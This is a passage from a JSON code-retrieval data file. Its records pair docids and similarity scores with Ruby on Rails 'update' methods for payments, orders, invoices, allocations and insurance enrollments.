"text": "def update\n @pagetitle = \"Editar Orden\"\n @action_txt = \"Update\"\n \n items = params[:items].split(\",\")\n \n @supplierpayment = SupplierPayment.find(params[:id])\n @company = @supplierpayment.company\n \n if(params[:ac_supplier] and params[:ac_supplier] != \"\")\n @ac_supplier = params[:ac_supplier]\n else\n @ac_supplier = @supplierpayment.supplier.name\n end\n \n @products_lines = @supplierpayment.products_lines\n \n @locations = @company.get_locations()\n @divisions = @company.get_divisions()\n @suppliers = @company.get_suppliers()\n @payments = @company.get_payments()\n @servicebuys = @company.get_servicebuys()\n @monedas = @company.get_monedas()\n \n @supplierpayment[:subtotal] = @supplierpayment.get_subtotal(items)\n @supplierpayment[:tax] = @supplierpayment.get_tax(items, @supplierpayment[:supplier_id])\n @supplierpayment[:total] = @supplierpayment[:subtotal] + @supplierpayment[:tax]\n\n respond_to do |format|\n if @supplierpayment.update_attributes(params[:supplierpayment])\n # Create products for kit\n @supplierpayment.delete_products()\n @supplierpayment.add_products(items)\n \n # Check if we gotta process the supplierpayment\n @supplierpayment.process()\n \n format.html { redirect_to(@supplierpayment, :notice => 'supplierpayment was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @supplierpayment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fe66da19967d34cdae3cafbaaee7f9e0",
"score": "0.56598336",
"text": "def update\n @pagetitle = \"Editar Orden\"\n @action_txt = \"Update\"\n \n items = params[:items].split(\",\")\n \n @customerpayment = CustomerPayment.find(params[:id])\n @company = @customerpayment.company\n \n if(params[:ac_customer] and params[:ac_customer] != \"\")\n @ac_customer = params[:ac_customer]\n else\n @ac_customer = @customerpayment.customer.name\n end\n \n @products_lines = @customerpayment.products_lines\n \n @locations = @company.get_locations()\n @divisions = @company.get_divisions()\n @customers = @company.get_customers()\n @payments = @company.get_payments()\n @servicebuys = @company.get_servicebuys()\n @monedas = @company.get_monedas()\n \n @customerpayment[:subtotal] = @customerpayment.get_subtotal(items)\n @customerpayment[:tax] = @customerpayment.get_tax(items, @customerpayment[:customer_id])\n @customerpayment[:total] = @customerpayment[:subtotal] + @customerpayment[:tax]\n\n respond_to do |format|\n if @customerpayment.update_attributes(params[:customerpayment])\n # Create products for kit\n @customerpayment.delete_products()\n @customerpayment.add_products(items)\n \n # Check if we gotta process the customerpayment\n @customerpayment.process()\n \n format.html { redirect_to(@customerpayment, :notice => 'customerpayment was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @customerpayment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1ada1e78ceb0cbeb7437ef93e31e5ade",
"score": "0.56553733",
"text": "def update\n if @allocation.update(allocation_params)\n head :no_content\n else\n render json: @allocation.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "9faede6ed7a78f1b537fbd7434b15039",
"score": "0.5643604",
"text": "def update_data_from_listing(payment_reference)\n self.update_attributes( :payable_type => payable_type,\n :ep_message => payment_reference[\"ep_message\"],\n :ep_reference => payment_reference[\"ep_reference\"],\n :ep_cin => payment_reference[\"ep_cin\"],\n :ep_doc => payment_reference[\"ep_doc\"],\n :ep_user => payment_reference[\"ep_user\"],\n :ep_payment_type => payment_reference[\"ep_payment_type\"],\n :ep_entity => payment_reference[\"ep_entity\"],\n :ep_link => payment_reference[\"payment_link\"],\n :ep_last_status => payment_reference[\"ep_status\"],\n :ep_value_fixed => payment_reference[\"ep_value_fixed\"],\n :ep_value_var => payment_reference[\"ep_value_var\"],\n :ep_value_tax => payment_reference[\"ep_value_tax\"],\n :ep_value_transf => payment_reference[\"ep_value_transf\"],\n :ep_date_transf => payment_reference[\"ep_date_transf\"],\n :ep_date_read => payment_reference[\"ep_date_read\"],\n :ep_status_read => payment_reference[\"ep_status_read\"],\n :ep_status => payment_reference[\"ep_status\"],\n :request_log => payment_reference[\"raw\"],\n :item_description => self.item_description,\n :item_quantity => self.item_quantity,\n :o_name => self.o_name,\n :o_description => self.o_description,\n :o_obs => self.o_obs,\n :o_email => self.o_email,\n :o_mobile => self.o_mobile) if payment_reference\n # \"ep_payment_date\"=>\"2013-12-04 12:58:54\"\n end",
"title": ""
},
{
"docid": "72404e7f5493787a7fc52e1c01227b5f",
"score": "0.5619956",
"text": "def update_adjustments\n # separate into adjustments to keep and adjustements to toss\n obsolete_adjustments = adjustments.not_promotions.select{|adjustment| !adjustment.applicable?}\n obsolete_adjustments.each(&:delete)\n \n # We do not want this to process promotion credits because promotion credits are done in a specific order\n self.adjustments.not_promotions.reload.each(&:update!)\n end",
"title": ""
},
{
"docid": "8b732ba2bd2f04cac1d1bcfa5dd04826",
"score": "0.5617126",
"text": "def update\n total_service_allocation = 0.0\n total_product_allocation = 0.0\n # If a new group was sent with the params, adds it to the employee's list of groups\n if params[:employee_group]\n unless params[:employee_group][:group_id].blank?\n Group.find(params[:employee_group][:group_id]).add_employee_to_group(@employee)\n end\n end\n # If a new service and allocation were sent with the params, adds them to the employee\n if params[:employee_allocations]\n unless (params[:employee_allocations][:service_id].blank?) ||\n (params[:employee_allocations][:allocation].blank?) ||\n (params[:employee_allocations][:fiscal_year_id].blank?)\n new_employee_allocation = @employee.employee_allocations.new(params[:employee_allocations])\n unless new_employee_allocation.save\n flash[:error] = t(:service) + t(:add) + t(:error)\n render :edit\n return\n end\n total_service_allocation += new_employee_allocation.allocation\n end\n end\n # If a new product and allocation were sent with the params, adds them to the employee\n if params[:employee_products]\n unless (params[:employee_products][:product_id].blank?) ||\n (params[:employee_products][:fiscal_year_id].blank?)\n new_employee_product = @employee.employee_products.new(params[:employee_products])\n unless new_employee_product.save\n flash[:error] = t(:product) + t(:add) + t(:error)\n render :edit\n return\n end\n allocation = new_employee_product.allocation\n total_product_allocation += allocation unless allocation.blank?\n end\n end\n # Calculates the total service allocation passed in params.\n if params[\"employee\"] && params[:employee][\"employee_allocations_attributes\"]\n params[\"employee\"][\"employee_allocations_attributes\"].to_a.each do |new_allocation|\n if new_allocation.last[\"_destroy\"].to_f != 1\n total_service_allocation += new_allocation.last[\"allocation\"].to_f\n end\n end\n end\n # Calculates the total product eallocation passed in params.\n if params[\"employee\"] && params[:employee][\"employee_products_attributes\"]\n params[\"employee\"][\"employee_products_attributes\"].to_a.each do |new_allocation|\n if new_allocation.last[\"_destroy\"].to_f != 1 && !new_allocation.last[\"allocation\"].blank?\n total_product_allocation += new_allocation.last[\"allocation\"].to_f\n end\n end\n end\n # Validates that the total allocation passed in params does not exceed 1FTE. It is only possible\n # to over-allocate a user if javascript is disabled.\n if (total_service_allocation <= 1) && (total_product_allocation <=1) && (@employee.update_attributes(params[:employee])) \n flash[:notice] = t(:employee) + t(:updated) \n redirect_to edit_employee_path(@employee.id)\n return\n end\n flash[:error] = t(:over_allocated)\n render :edit\n end",
"title": ""
},
{
"docid": "bb8caccd983577bdabe5b429e6096342",
"score": "0.5607894",
"text": "def update_aptc_applied_for_enrollments(params)\n current_datetime = TimeKeeper.datetime_of_record\n enrollment_update_result = false\n # For every HbxEnrollment, if Applied APTC was updated, clone a new enrtollment with the new Applied APTC and make the current one inactive.\n family = Family.find(params[:person][:family_id])\n max_aptc = family.active_household.latest_active_tax_household.latest_eligibility_determination.max_aptc.to_f\n active_aptc_hbxs = family.active_household.hbx_enrollments_with_aptc_by_year(params[:year].to_i)\n \n params.each do |key, aptc_value|\n if key.include?('aptc_applied_')\n hbx_id = key.sub(\"aptc_applied_\", \"\")\n updated_aptc_value = aptc_value.to_f\n actual_aptc_value = HbxEnrollment.find(hbx_id).applied_aptc_amount.to_f\n # Only create enrollments if the APTC values were updated.\n if actual_aptc_value != updated_aptc_value # TODO && check if the effective_on doesnt go to next year?????\n percent_sum_for_all_enrolles = 0.0\n enrollment_update_result = true\n original_hbx = HbxEnrollment.find(hbx_id)\n aptc_ratio_by_member = family.active_household.latest_active_tax_household.aptc_ratio_by_member\n \n # Duplicate Enrollment\n duplicate_hbx = original_hbx.dup\n duplicate_hbx.created_at = current_datetime\n duplicate_hbx.updated_at = current_datetime\n duplicate_hbx.effective_on = find_enrollment_effective_on_date(current_datetime).to_date # Populate the effective_on date based on the 15th day rule.\n\n # Duplicate all Enrollment Members\n duplicate_hbx.hbx_enrollment_members = original_hbx.hbx_enrollment_members.collect {|hem| hem.dup}\n duplicate_hbx.hbx_enrollment_members.each{|hem| hem.updated_at = current_datetime}\n\n # Update Applied APTC on the enrolllment level.\n duplicate_hbx.applied_aptc_amount = updated_aptc_value\n \n # Update elected_aptc_pct to the correct value based on the new applied_amount\n duplicate_hbx.elected_aptc_pct = actual_aptc_value/max_aptc\n \n\n # This (and the division using percent_sum_for_all_enrolles in the next block) is needed to get the right ratio for members to use in an enrollment. (ratio of the applied_aptc for an enrollment)\n duplicate_hbx.hbx_enrollment_members.each do |member|\n percent_sum_for_all_enrolles += family.active_household.latest_active_tax_household.aptc_ratio_by_member[member.applicant_id.to_s] || 0.0\n end\n\n # Update the correct breakdown of Applied APTC on the individual level.\n duplicate_hbx.hbx_enrollment_members.each do |hem|\n aptc_pct_for_member = aptc_ratio_by_member[hem.applicant_id.to_s] || 0.0\n hem.applied_aptc_amount = updated_aptc_value * aptc_pct_for_member / percent_sum_for_all_enrolles\n end\n\n family.active_household.hbx_enrollments << duplicate_hbx\n family.save\n # Cancel or Terminate Coverage.\n if original_hbx.can_terminate_coverage?\n original_hbx.terminate_coverage!\n else\n original_hbx.cancel_coverage!\n end\n end\n\n end \n end\n enrollment_update_result \n end",
"title": ""
},
{
"docid": "f6da031a2b8241aa33e9c5a5cda08256",
"score": "0.56039304",
"text": "def purchase_return_update\n params.permit!\n ids=params[\"ids\"]\n credit_amount=params[\"credit_amount\"]\n credit_number=params[\"credit_num\"]\n credit_date=params[\"credit_date\"]\n remark=params[\"remarks\"]\n adjust_quantity=params[\"adjust_quantity\"]\n actual_amount=params[\"actual_amount\"]\n (0..(ids.count-1)).map{|i| Adjustment.create(credit_amount: credit_amount[i], credit_note_num: credit_number[i], credit_date: credit_date[i], remark: remark[i], claim_product_type: \"PurchaseReturn\", claim_product_id: ids[i],actual_amount:actual_amount[i],adjust_quantity:adjust_quantity[i]); settle_amount=PurchaseReturn.find(ids[i]).settled_amount.to_f + credit_amount[i].to_f;purchase=PurchaseReturn.find(ids[i]); purchase.update(settled_amount: settle_amount);(purchase.claim_amount.to_f <= purchase.settled_amount.to_f) ? purchase.update(:amount_status=>1) : \"\" }\nend",
"title": ""
},
{
"docid": "b585a9f81046f6563e9139f7e8978eb9",
"score": "0.5576889",
"text": "def perform\n payouts = Payout.where(market_updated: false).where(paid: true)\n count = payouts.size\n if count == 0\n ScriptLog.info(\"All paid Payouts have already had their corresponding OrderPayout updated on the market. Nothing to do.\")\n return\n end\n if payouts.where(txid: nil).count > 0\n ScriptLog.info(\"A payout is missing the txid field. aborting.\")\n return\n end\n\n ScriptLog.info(\"updating #{count} OrderPayouts on market\")\n\n update_hash = {}\n payouts.each do |p|\n update_hash[p.order_payout_id] = { paid: true, txid: p.txid }\n end\n\n uri = URI.parse(Rails.configuration.admin_api_uri_base +\n '/admin/orderpayouts/set_paid')\n http = nil\n if Rails.env.production?\n tor_proxy_host = Rails.configuration.tor_proxy_host\n tor_proxy_port = Rails.configuration.tor_proxy_port\n http = Net::HTTP.SOCKSProxy(tor_proxy_host, tor_proxy_port).new(uri.host, uri.port)\n else\n http = Net::HTTP.new(uri.host, uri.port)\n end\n\n request = Net::HTTP::Post.new(uri.request_uri)\n request.content_type = 'application/json'\n request.body = {\n admin_api_key: Rails.configuration.admin_api_key,\n changes: update_hash,\n }.to_json\n response = http.request(request)\n r = JSON.parse response.body # generate exception if json not returned\n if r['api_return_code'] == 'success'\n payouts.update_all(market_updated: true)\n end\n end",
"title": ""
},
{
"docid": "d1dec7c6d959dbf794d37f8343cdb0c2",
"score": "0.55652606",
"text": "def mass_update_si_and_dr\n @order = Order.find(params[:id])\n\n DrAndSiMassUpdater.update(\n @order,\n si_references: params[:offer][:invoices_attributes],\n dr_reference: params[:order][:dr_reference],\n delivery_date: params[:order][:delivery_date]\n )\n\n redirect_to @order, notice: \"Order offers succesfully updated.\"\n end",
"title": ""
},
{
"docid": "8b14dd201d69d678cdf7b173ba02c34c",
"score": "0.5555163",
"text": "def update\n @allocation.update(allocation_params)\n redirect_to Gallery.find(@allocation.gallery_id)\n end",
"title": ""
},
{
"docid": "21433d44fb3f87de348cbbee004c3544",
"score": "0.554863",
"text": "def updates\n @purchases = Purchase.where(app_id: params[:app])\n @purchases.each do |purchase|\n purchase.updated = false\n purchase.save\n end\n redirect_to welcome_homepage_url\n end",
"title": ""
},
{
"docid": "49c13a714363c21f3284bbaf91c2ff7c",
"score": "0.55464655",
"text": "def update\n @apartment = Apartment.find(params[:id])\n user_id = current_user.id\n params[:apartment][:user_id] = user_id\n price = params[:apartment][:price]\n params[:apartment][:price] = Apartment.parsePrice(price)\n\n=begin\n title = params[:apartment][:title]\n street_address = params[:apartment][:street_address]\n apartment_number = params[:apartment][:apartment_number]\n city = params[:apartment][:city]\n state = params[:apartment][:state]\n zip = params[:apartment][:zip]\n description = params[:apartment][:description]\n price = params[:apartment][:price]\n params[:apartment][:price] = Apartment.parsePrice(price)\n beds = params[:apartment][:bedrooms]\n baths = params[:apartment][:bathrooms]\n result = @apartment.update(user_id, title, street_address, apartment_number, city, state, zip, description, price, beds, baths)\n=end\n\n if @apartment.update_attributes(apt_params)\n redirect_to @apartment\n else \n render \"edit\"\n end\n end",
"title": ""
},
{
"docid": "7ace807c73570916192ae74a107c0a6c",
"score": "0.5540504",
"text": "def update\n\n respond_to do |format|\n if @payment.update(payment_params)\n reservations = Reservation.where(payment_id: @payment.id)\n reservations.each do |reservation|\n room_id = reservation.room_id\n room = Room.find(room_id)\n reservation.update(status: 3)\n room.update(status: 1)\n end\n format.html { redirect_to reservations_url, notice: \"Check out thành công\" }\n format.json { render :show, status: :ok, location: @payment }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @payment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "180200035ac30371445bd9fa658330d3",
"score": "0.55329204",
"text": "def update\n @receivable = Receivable.find(params[:id])\n\n # Updating GlAccount\n # accountsReceivableAmt = 0\n # @receivable.receivable_accounts.each do |receivable_account|\n # CommonActions.update_gl_accounts(receivable_account.gl_account.gl_account_title, 'increment',receivable_account.receivable_account_amount, @receivable.id )\n # accountsReceivableAmt+=receivable_account.receivable_account_amount\n # end\n # CommonActions.update_gl_accounts('RECEIVBALE EMPLOYEES', 'decrement',accountsReceivableAmt, @receivable.id )\n\n # CommonActions.update_gl_accounts('FREIGHT ; UPS', 'increment',@receivable.receivable_freight )\n # CommonActions.update_gl_accounts('RECEIVBALE EMPLOYEES', 'decrement',@receivable.receivable_freight )\n\n\n respond_to do |format|\n if @receivable.update_attributes(receivable_params)\n # @so_header = @receivable.so_header rescue nil\n # genarate_pdf\n if Receivable.find_by_receivable_disperse(\"unassigned\").present?\n receivable = Receivable.find_by_receivable_disperse(\"unassigned\")\n receivable.update_attributes(:receivable_disperse => \"assigned\")\n end\n format.html { redirect_to @receivable, notice: 'Invoice was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @receivable.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "45263ec2f7c0d1aa17e7c73d01055b65",
"score": "0.5528152",
"text": "def update!(**args)\n @allocated_asset_count = args[:allocated_asset_count] if args.key?(:allocated_asset_count)\n @allocated_regions = args[:allocated_regions] if args.key?(:allocated_regions)\n @node_allocations = args[:node_allocations] if args.key?(:node_allocations)\n end",
"title": ""
},
{
"docid": "45263ec2f7c0d1aa17e7c73d01055b65",
"score": "0.5528152",
"text": "def update!(**args)\n @allocated_asset_count = args[:allocated_asset_count] if args.key?(:allocated_asset_count)\n @allocated_regions = args[:allocated_regions] if args.key?(:allocated_regions)\n @node_allocations = args[:node_allocations] if args.key?(:node_allocations)\n end",
"title": ""
},
{
"docid": "97e332d182774bec017095b096b5f7bd",
"score": "0.55185366",
"text": "def update\n respond_to do |format|\n if @payment.update(payment_params)\n Order.where(id: params[:pagar]).update_all(status: Order.statuses[:paid]) if params[:pagar]\n format.html { redirect_to @payment, notice: 'Pagamento atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @payment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5d6a567b3e2056de0f77557582dffd64",
"score": "0.5517951",
"text": "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @os_policy_assignment_reports = args[:os_policy_assignment_reports] if args.key?(:os_policy_assignment_reports)\n end",
"title": ""
},
{
"docid": "d0ab745bef1b2136ed796bde2d725d8d",
"score": "0.5516124",
"text": "def update\n @bill = Bill.find(params[:bill_id])\n @billed_line = @bill.billed_lines.find(params[:id])\n respond_to do |format|\n if @billed_line.update_attributes(params[:billed_line])\n @bill.billed_taxes.each do |billed_tax|\n billed_tax.recalculate\n end\n #We have to save the flag here, other wise it woun't reflect when the landing page is loaded\n @bill.pending_flag = true\n @bill.save\n call_rake :regenerate_bill, :bill_id => params[:bill_id]\n flash[:notice] = 'Bill is being re-generated.'\n format.html { redirect_to(billing_session_bills_url(@bill.billing_session) + \"?page=\" + params[:page].to_s) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @billed_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f76b05659c617f988acf56583d4915e7",
"score": "0.5505455",
"text": "def update_adjustments\n self.adjustments.reload.each(&:update!)\n end",
"title": ""
},
{
"docid": "3ebc6dae4b044121ff96b8ac6918c42f",
"score": "0.5503459",
"text": "def process_payments_and_create_arbs\n #This should throw an error if there's an issue\n #so we aren't doing any wrapping or checking.\n ret = self.original_process_payments!\n\n cc = self.payments.first\n\n line_items.each do |l|\n if l.variant.product.is_donation?\n l.price = l.quantity\n l.quantity = 1\n l.save\n end\n end\n\n self.update_totals\n \n ret\n end",
"title": ""
},
{
"docid": "7f3e045b8d173ed2da1a9b73029e0783",
"score": "0.5500287",
"text": "def update_totals_and_complete_free_order\n @order.update_totals!\n if @order.in_progress? and @order.item_total > 0 and @order.total == 0 and @order.payments.total == 0\n until @order.checkout.complete?\n @order.checkout.next!\n end\n @order.reload.pay!\n end\n end",
"title": ""
},
{
"docid": "c81c477556a00f0901829ebbde5048d2",
"score": "0.54975045",
"text": "def update_adjustments\n order.adjustments.reload.each { |adjustment| adjustment.update! }\n choose_best_promotion_adjustment\n LineItemDiscount::PromotionPool.new(order).adjust!\n end",
"title": ""
},
{
"docid": "b5f72b8be2a02f7607776fb163fe2a1d",
"score": "0.54919106",
"text": "def update_outstanding_payment\n total = BigDecimal(\"0\")\n self.invoices.where(:is_paid => false).each do |invoice|\n total += invoice.confirmed_pending_payment\n end\n \n self.outstanding_payment = total \n self.save \n end",
"title": ""
},
{
"docid": "f665b445f86187ab94c7338947ffe423",
"score": "0.5491668",
"text": "def update_plans\n check_required_param(params, 'plan_date_from')\n # TODO 날짜 형식에 따라 파싱을 다르게 ...\n start_date = parse_date(params['plan_date_from'])\n current_date = @domain.shift.current_work_date\n raise Hatio::Exception::InvalidRequest, (I18n.translate 'error.plan_date_must_be_gte_today') if(current_date >= start_date)\n \n plan_data_list = ActiveSupport::JSON.decode(params['multiple_data'])\n total_shift, new_plans, new_bar_plans = @domain.shift.total_shift, [], []\n plan_list = plan_data_list.find_all { |plan_data| !(plan_data['check'] && plan_data['check'] == 'Check') }\n operation_ids = plan_list.collect { |plan| @domain.id + '-' + plan['operation'] }.uniq\n \n ProdPlan.transaction do\n # 기존 데이터 삭제 \n delete_plans(start_date, operation_ids)\n \n # 새로운 plan 생성 \n plan_data_list.each do |plan_data|\n plan_data.delete('check')\n plans = build_plans(@domain, start_date, @domain.shift.total_shift, plan_data)\n plans.each { |p| new_plans.push(p) }\n end\n \n # 새로운 plan 저장 \n new_plans.each do |new_plan|\n plan = @domain.prod_plans.new(new_plan)\n valid = false\n 1.upto(total_shift) do |shift|\n valid = true if(!valid && new_plan[\"shift#{shift}_plan_qty\"] > 0)\n plan[\"shift#{shift}_plan_qty\"] = new_plan[\"shift#{shift}_plan_qty\"]\n plan[\"shift#{shift}_seq\"] = new_plan[\"shift#{shift}_seq\"]\n end\n \n plan.save! if(valid)\n end\n end\n end",
"title": ""
},
{
"docid": "143d3a2e42bd32b1c282a24eeb25393a",
"score": "0.5491312",
"text": "def update\n # Calculate new amount to pay with amount already paid by user (converted into Money object)\n @amount_to_pay = @pack.price - Money.new(current_user.paid_amount, 'EUR')\n\n # Update the reservation\n @reservation.update(pack_sku: @pack.sku, amount: @amount_to_pay, payment_status: 'pending', tracking_status: 'pending', pack_id: @pack.id)\n\n # Redirect to payment page\n redirect_to new_reservation_payment_path(@reservation)\n end",
"title": ""
},
{
"docid": "951e785d3f42e0979fcd56e723e754a7",
"score": "0.54814345",
"text": "def update_price_list\n\n items.each do |i|\n ap = AffiliateProduct.find_or_initialize_by(affiliate_id: affiliate_id, product_id: i.product_id)\n ap.price = i.unit_price\n ap.save\n end\n\n end",
"title": ""
},
{
"docid": "0b776de9c11186eb940aa9fe4e33f371",
"score": "0.5478525",
"text": "def apply_existing_payment\n# @data.matching_orders = {}\n list = Payment.list_of_unapplied\n if list.empty?\n note \"No payments are currently pending\"\n @session.pop\n return\n end\n\n values = {}\n \n values['list'] = list.map do |payment|\n {\n \"pay_type\" => PaymentMethod.from_type(payment.pay_type).pme_desc,\n \"processed\" => payment.fmt_processed,\n \"pay_our_ref\" => payment.pay_our_ref,\n \"pay_doc_ref\" => payment.pay_doc_ref,\n \"pay_payor\" => payment.pay_payor,\n \"pay_amount\" => payment.fmt_amount,\n \"pay_amount_applied\" => payment.fmt_amount_applied,\n \"pay_url\" => url(:apply_a_payment, payment.pay_id),\n }\n end\n\n standard_page(\"Choose Existing Payment\",\n values,\n CHOOSE_EXISTING_PAYMENT)\n\n end",
"title": ""
},
{
"docid": "3ab74ff9059c2df4817d2bed409a4c45",
"score": "0.5478506",
"text": "def update_user\n User.where(:id => processor_id).update_all(:allocation_status => 1, :updated_at => Time.now)\n end",
"title": ""
},
{
"docid": "45ca23bc2c61948d771a1af62bef2b1d",
"score": "0.5475862",
"text": "def update\n respond_to do |format|\n if @agent_payment.update(agent_payment_params)\n format.html { redirect_to admin_agent_list_deals_path, notice: 'Agent payment was successfully updated.' }\n format.json { render :show, status: :ok, location: @agent_payment }\n else\n format.html { render :edit }\n format.json { render json: @agent_payment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "604b6d3baeb4607f307e60996af9714a",
"score": "0.5473764",
"text": "def update_payment_status\r\n\r\n # We don't need to update if the last update was within 1m\r\n return nil if payment_status_updated_at.present? && payment_status_updated_at > Time.now - 1.minutes\r\n update(payment_status_updated_at: Time.new)\r\n\r\n if contractor_payment_batch.present? && contractor_payment_batch.paid?\r\n @processor = ContractorBatchPayoutProcessor.new(contractor_payment_batch)\r\n @processor.update_item_status(self)\r\n end\r\n end",
"title": ""
},
{
"docid": "f255f455a63a81f9b6f741db6461f0e8",
"score": "0.5471532",
"text": "def updates\n @purchases = Purchase.where(app_id: params[:app])\n @purchases.each do |purchase|\n purchase.updated = false\n purchase.save\n end\n redirect_to welcome_homepage_url\n end",
"title": ""
},
{
"docid": "ebab44f79c4b1646af2cc59f507d6e9a",
"score": "0.5469191",
"text": "def update\n respond_to do |format|\n if @payment_outstanding.update(payment_outstanding_params)\n format.html { redirect_to @payment_outstanding, notice: 'Payment outstanding was successfully updated.' }\n format.json { render :show, status: :ok, location: @payment_outstanding }\n else\n format.html { render :edit }\n format.json { render json: @payment_outstanding.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "310aeb0511c48f55b1e24f9bcdc590fb",
"score": "0.546567",
"text": "def manage_company\n\t\t@company = Company.find(params[:id])\n\t\t@bookings = Array.new\n\t\[email protected] do |location|\n\t\t\tlocation.bookings.each do |booking|\n\t\t\t\t@bookings << booking\n\t\t\tend\n\t\tend\n\n\t\t@billing_info = BillingInfo.new\n\t\tif BillingInfo.where(company_id: @company.id).count > 0\n\t\t\t@billing_info = @company.billing_info\n\t\tend\n\n\t\t# @company.payment_status == PaymentStatus.find_by_name(\"Trial\") ? @price = Plan.find_by_name(\"Normal\").plan_countries.find_by(country_id: @company.country.id).price : @price = @company.plan.plan_countries.find_by(country_id: @company.country.id).price\n\n\t\t#@company.payment_status == PaymentStatus.find_by_name(\"Trial\") ? @price = Plan.where.not(id: Plan.find_by_name(\"Gratis\").id).where(custom: false).where('locations >= ?', @company.locations.where(active: true).count).where('service_providers >= ?', @company.service_providers.where(active: true).count).order(:service_providers).first.plan_countries.find_by(country_id: @company.country.id).price : @price = @company.plan.plan_countries.find_by(country_id: @company.country.id).price\n\n\t\t@price = 0\n\t if @company.payment_status == PaymentStatus.find_by_name(\"Trial\")\n\t \tplan = @company.default_plan\n\n\t \tif plan.name == \"Normal\" || plan.name == \"Personal\"\n\t\t\t\tif @company.locations.where(active: true).count > 1 || @company.service_providers.where(location_id: @company.locations.where(active: true).pluck(:id), active:true).count > 1\n\t\t\t\t\tplan = Plan.where(name: \"Normal\", custom: false).first\n\t\t\t\telse\n\t\t\t\t\tplan = Plan.where(name: \"Personal\", custom: false).first\n\t\t\t\tend\n \t\t\tend\n\n\t @price = plan.plan_countries.find_by(country_id: @company.country.id).price * @company.computed_multiplier\n\n\t else\n\t if @company.plan.custom\n\t @price = @company.company_plan_setting.base_price\n\t else\n\t @price = @company.company_plan_setting.base_price * @company.computed_multiplier\n\t end\n\t end\n\n\t\t@sales_tax = @company.country.sales_tax\n\t @month_discount_4 = NumericParameter.find_by_name(\"4_month_discount\").value\n\t @month_discount_6 = NumericParameter.find_by_name(\"6_month_discount\").value\n\t @month_discount_9 = NumericParameter.find_by_name(\"9_month_discount\").value\n\t @month_discount_12 = NumericParameter.find_by_name(\"12_month_discount\").value\n\n\n\n\t @day_number = Time.now.day\n\t @month_number = Time.now.month\n\t @month_days = Time.now.days_in_month\n\t\t#@company.months_active_left > 0 ? @plan_1 = (@company.due_amount/(1+@sales_tax) + @price).round(0) : @plan_1 = ((@company.due_amount/(1+@sales_tax) + (@month_days - @day_number + 1)*@price/@month_days)).round(0)\n\n\t\t@plan_1 = (@company.due_amount/(1+@sales_tax) + @price).round(0)\n\n\t\tif @company.payment_status_id == PaymentStatus.find_by_name(\"Trial\").id || @company.payment_status_id == PaymentStatus.find_by_name(\"Bloqueado\").id || @company.payment_status_id == PaymentStatus.find_by_name(\"Inactivo\").id\n\t \tputs \"True\"\n\t \tspecial_price = ((@month_days - @day_number + 1).to_f / @month_days.to_f) * @price\n\t \t@plan_1 = (@company.due_amount + special_price * (1+@sales_tax)).round(0)\n\t end\n\n\n\t @plan_2 = (@plan_1 + @price*1).round(0)\n\t @plan_3 = (@plan_1 + @price*2).round(0)\n\t @plan_4 = ((@plan_1 + @price*3)*(1-@month_discount_4)).round(0)\n\t @plan_6 = ((@plan_1 + @price*5)*(1-@month_discount_6)).round(0)\n\t @plan_9 = ((@plan_1 + @price*8)*(1-@month_discount_9)).round(0)\n\t @plan_12 = ((@plan_1 + @price*11)*(1-@month_discount_12)).round(0)\n\tend",
"title": ""
},
{
"docid": "30c8389e49d6f1694d33dcc9daeec3c2",
"score": "0.54626065",
"text": "def update_state\n @payments = Payment.where(:id => params[:ids])\n respond_to do |format|\n if @payments.update_all(state: admin_params[:state])\n format.html { redirect_to manage_payments_path(admin: true), notice: 'Payment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { redirect_to manage_payments_path(admin: true) }\n format.json { render json: @payment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "86271af3c26ca4db3a0ce8eca06b6ef3",
"score": "0.5462301",
"text": "def update\n attach_payment_schedule\n attach_project_scope\n\n respond_to do |format|\n if @agreement.update(agreement_params)\n format.html { redirect_to @agreement, notice: 'Agreement was successfully updated.' }\n format.json { render :show, status: :ok, location: @agreement }\n else\n format.html { render :edit }\n format.json { render json: @agreement.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "730a8519bb4bf1207f6350dbf78dd660",
"score": "0.5461847",
"text": "def update\n @sales_order = SalesOrder.update_sales_order(params, @company.id, @current_user, @financial_year.year.name)\n respond_to do |format|\n if @sales_order.valid?\n @sales_order.save\n @sales_order.register_user_action(request.remote_ip, 'updated', @current_user.branch_id)\n @sales_order.update_attribute(\"status\", 1) if @sales_order.status == 4\n format.html { redirect_to @sales_order, :notice => 'Sales order was successfully updated.' }\n format.json { head :ok }\n else\n @sales_order.sales_order_line_items.each do |line_item|\n (2-line_item.sales_order_taxes.size).times {line_item.sales_order_taxes.build}\n end\n @states = State.where(country_id: 93)\n @from_accounts = Product.get_sales_products(@company.id)\n @to_accounts = @company.customers\n @tax_accounts = TransactionType.fetch_from_accounts(@company.id, 'tax')\n @shipping_accounts = Account.get_other_expense_accounts(@company)\n @customer_account_heads = AccountHead.get_customer_and_vendor_account_heads(@company.id)\n @sales_account_heads = AccountHead.get_sales_account(@company.id)\n @tax_account_heads = AccountHead.get_duties_and_taxes_account(@company.id)\n @projects = @company.projects.active\n format.html { render :action => \"edit\" }\n format.json { render :json => @sales_order.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "65bf8616ef4651632ccaaee784a2da70",
"score": "0.54605776",
